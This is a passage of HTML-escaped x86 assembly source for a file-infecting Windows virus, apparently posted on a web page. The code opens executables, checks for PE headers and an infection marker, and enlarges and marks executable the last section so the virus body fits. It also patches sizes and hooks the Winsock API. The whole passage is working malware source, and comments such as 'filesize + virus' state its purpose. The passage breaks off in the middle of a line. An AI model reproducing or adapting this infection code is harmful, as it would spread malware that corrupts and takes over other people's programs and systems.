&lt;/span&gt;GoInfectWsockInf:&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;mov ecx, [ebp + myfinddata.fd_nFileSizeLow]&lt;span style=""&gt;   &lt;/span&gt;; ecx = filesize&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;mov [ebp + filesize], ecx&lt;span style=""&gt;                     &lt;/span&gt;; save the filesize&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;add ecx, Leap - Start + 1000h&lt;span style=""&gt;                 &lt;/span&gt;; filesize + virus&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;mov [ebp + memory], ecx&lt;span style=""&gt;                               &lt;/span&gt;; + workspace = memory&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;call INFECT_FILE&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;cmp [ebp + infectionflag], 01&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;je DeleteWsockFile&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;call CREATE_INI_FILE&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;jmp WsockEndSearch&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;DeleteWsockFile:&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;lea eax, [ebp + wsock32inf]&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;push eax&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;lea eax, [ebp + ADeleteFile]&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;call GETAPI&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;DeleteIniFile2:&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;call SET_WINDIR&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;lea eax, [ebp + inifile]&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;push eax&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;lea eax, [ebp + ADeleteFile]&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;call GETAPI&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;WsockEndSearch:&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;ret&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;INFECT_WSOCK endp&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;;=========================[ ic-infect_file.inc ]============================;&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;INFECT_FILE proc&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;     &lt;/span&gt;SetAttributesToNormal:&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;push 80h&lt;span style=""&gt;       &lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;lea esi, [ebp + myfinddata.fd_cFileName]&lt;span style=""&gt;      &lt;/span&gt;; esi = filename&lt;span style=""&gt;       &lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;push esi&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;lea eax, [ebp + ASetFileAttributes]&lt;span style=""&gt;   &lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;call GETAPI&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;     &lt;/span&gt;OpenFile:&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;push 0&lt;span style=""&gt;                                        &lt;/span&gt;; template handle=0&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;push 20h&lt;span style=""&gt;                                      &lt;/span&gt;; attributes=any file&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;push 3&lt;span style=""&gt;                                        &lt;/span&gt;; type= existing file&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;push 0&lt;span style=""&gt;                                        &lt;/span&gt;; security option = 0&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;push 1&lt;span style=""&gt;                                        &lt;/span&gt;; shared for read&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;push 80000000h or 40000000h&lt;span style=""&gt;                   &lt;/span&gt;; generic read write&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;push esi&lt;span style=""&gt;                                      &lt;/span&gt;; offset file name&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;lea eax, [ebp + ACreateFile]&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;call GETAPI&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;cmp eax, 0FFFFFFFFh&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;je InfectionError&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;mov [ebp + filehandle], eax&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;;-------------------------------[ map file ]---------------------------------;&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;CreateFileMapping:&lt;span style=""&gt;                               &lt;/span&gt;; allocates the memory&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;push 0&lt;span style=""&gt;                                        &lt;/span&gt;; filename handle = 0&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;push dword ptr [ebp + memory]&lt;span style=""&gt;                 &lt;/span&gt;; max size = memory&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;push 0&lt;span style=""&gt;                                        &lt;/span&gt;; minumum size = 0&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;push 4&lt;span style=""&gt;                                        &lt;/span&gt;; read / write access&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;push 0&lt;span style=""&gt;                                        &lt;/span&gt;; sec. attrbs= default&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;push dword ptr [ebp + filehandle]&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;lea eax, [ebp + ACreateFileMapping]&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;call GETAPI&lt;span style=""&gt;                                   &lt;/span&gt;; eax = new map handle&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;mov [ebp + maphandle], eax&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;or eax, eax&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;jz CloseFile&lt;span style=""&gt;                                  &lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;MapViewOfFile:&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;push dword ptr [ebp + memory]&lt;span style=""&gt;                 &lt;/span&gt;; memory to map&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;push 0&lt;span style=""&gt;                                        &lt;/span&gt;; file offset&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;push 0&lt;span style=""&gt;                                        &lt;/span&gt;; file offset&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;push 2&lt;span style=""&gt;                                        &lt;/span&gt;; file map write mode&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;push eax&lt;span style=""&gt;                                      &lt;/span&gt;; file map handle&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;lea eax, [ebp + AMapViewOfFile]&lt;span style=""&gt;                       &lt;/span&gt;; ok map the file&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;call GETAPI&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;or eax, eax&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;jz CloseMap&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;mov esi, eax&lt;span style=""&gt;                                  &lt;/span&gt;; esi= base of map&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;mov [ebp + mapaddress], esi&lt;span style=""&gt;                   &lt;/span&gt;; save that base&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;DoSomeChecks:&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;cmp word ptr [esi], 'ZM'&lt;span style=""&gt;                      &lt;/span&gt;; an exe file?&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;jne UnmapView&lt;span style=""&gt;  &lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;cmp word ptr [esi + 38h], 'll'&lt;span style=""&gt;                &lt;/span&gt;; already infected?&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;jne OkGo&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;mov [ebp + infectionflag], 1&lt;span style=""&gt;                  &lt;/span&gt;; set infectionflag&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;jmp UnmapView&lt;span style=""&gt;  &lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;OkGo:&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;mov ebx, dword ptr [esi + 3ch]&lt;span style=""&gt;                &lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;cmp ebx, 200h&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;ja UnmapView&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;add ebx, esi&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;cmp dword ptr [ebx], 'EP'&lt;span style=""&gt;                     &lt;/span&gt;; is it a PE file ?&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;jne UnmapView&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;               &lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;mov [ebp + PEheader], ebx&lt;span style=""&gt;                     &lt;/span&gt;; save ra PE header&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;mov esi, ebx&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;mov eax, [esi + 34h]&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;mov [ebp + imagebase], eax&lt;span style=""&gt;                    &lt;/span&gt;; save imagebase&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;;------------------------------[ append section ]----------------------------;&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;LocateBeginOfLastSection:&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;movzx ebx, word ptr [esi + 20d]&lt;span style=""&gt;                       &lt;/span&gt;; optional header size&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;add ebx, 24d&lt;span style=""&gt;                                  &lt;/span&gt;; file header size&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;movzx eax, word ptr [esi + 6h]&lt;span style=""&gt;                &lt;/span&gt;; no of sections&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;dec eax&lt;span style=""&gt;                                       &lt;/span&gt;; (we want the last-1&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;mov ecx, 28h&lt;span style=""&gt;                                  &lt;/span&gt;; sectionheader)&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;mul ecx&lt;span style=""&gt;                               &lt;/span&gt;&lt;span style=""&gt;        &lt;/span&gt;; * header size&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;add esi, ebx&lt;span style=""&gt;                                  &lt;/span&gt;; esi = begin of last &lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;add esi, eax&lt;span style=""&gt;                                  &lt;/span&gt;; section's header&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;ChangeLastSectionHeader:&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;or dword ptr [esi + 24h], 00000020h or 20000000h or 80000000h &lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;NewAlignedPhysicalSize:&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;mov eax, dword ptr [esi + 10h]&lt;span style=""&gt;                &lt;/span&gt;; old phys size&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;push eax&lt;span style=""&gt;                                      &lt;/span&gt;; save it&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;add eax, Leap-Start&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;mov ecx, [ebp + PEheader]&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;mov ecx, [ecx + 38h]&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;div ecx&lt;span style=""&gt;                                       &lt;/span&gt;; and align it to&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;inc eax&lt;span style=""&gt;                                       &lt;/span&gt;; the sectionalign&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;mul ecx&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;mov dword ptr [esi + 10h], eax&lt;span style=""&gt;  &lt;/span&gt;&lt;span style=""&gt;              &lt;/span&gt;; save it&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;VirtualSizeCheck:&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;mov edi, dword ptr [esi + 8h]&lt;span style=""&gt;                 &lt;/span&gt;; get old &lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;cmp eax, edi&lt;span style=""&gt;                                  &lt;/span&gt;; virtualsize&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;jge NewVirtualSize&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;VirtualSizeIsVirtual:&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;add edi, Leap-Start&lt;span style=""&gt;                           &lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;mov eax, edi&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;mov ecx, [ebp + PEheader]&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;mov ecx, [ecx + 38h]&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;div ecx&lt;span style=""&gt;                                       &lt;/span&gt;; and align it to&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;inc eax&lt;span style=""&gt;                                       &lt;/span&gt;; the sectionalign&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;mul ecx&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;NewVirtualSize:&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;mov [esi + 8h], eax&lt;span style=""&gt;                           &lt;/span&gt;; save new value&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;NewAlignedImageSize:&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;mov eax, dword ptr [esi + 0ch]&lt;span style=""&gt;                &lt;/span&gt;; get virtual offset&lt;span style=""&gt;   &lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;add eax, dword ptr [esi + 8h]&lt;span style=""&gt;                 &lt;/span&gt;; + new virtual size&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;mov [ebp + imagesize], eax&lt;span style=""&gt;                    &lt;/span&gt;; = new imagesize&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;NewAlignedFileSize:&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;mov eax, dword ptr [esi + 10h]&lt;span style=""&gt;                &lt;/span&gt;; get new phys size&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;add eax, dword ptr [esi + 14h]&lt;span style=""&gt;                &lt;/span&gt;; add offset of phys&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;mov ecx, [ebp + PEheader]&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;mov ecx, [ecx + 3ch]&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;div ecx&lt;span style=""&gt;                                       &lt;/span&gt;; and align it to&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;inc eax&lt;span style=""&gt;                                       &lt;/span&gt;; the filealign&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;mul ecx&lt;span style=""&gt; &lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;mov [ebp + filesize], eax&lt;span style=""&gt;                     &lt;/span&gt;; size = filesize&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;CalculateNewWsockApiAddress:&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;pop eax&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;push eax&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;add eax, dword ptr [esi + 0ch]&lt;span style=""&gt;                &lt;/span&gt;; + virtual offset&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;add eax, InterceptWsockApiCall - Start&lt;span style=""&gt;                &lt;/span&gt;; + ip&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;mov [ebp + wnewapiaddress], eax&lt;span style=""&gt;                       &lt;/span&gt;; new api address&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;jmp HookDaApi&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;HookDaApi:&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;push esi&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;call HOOK_API&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;pop esi&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    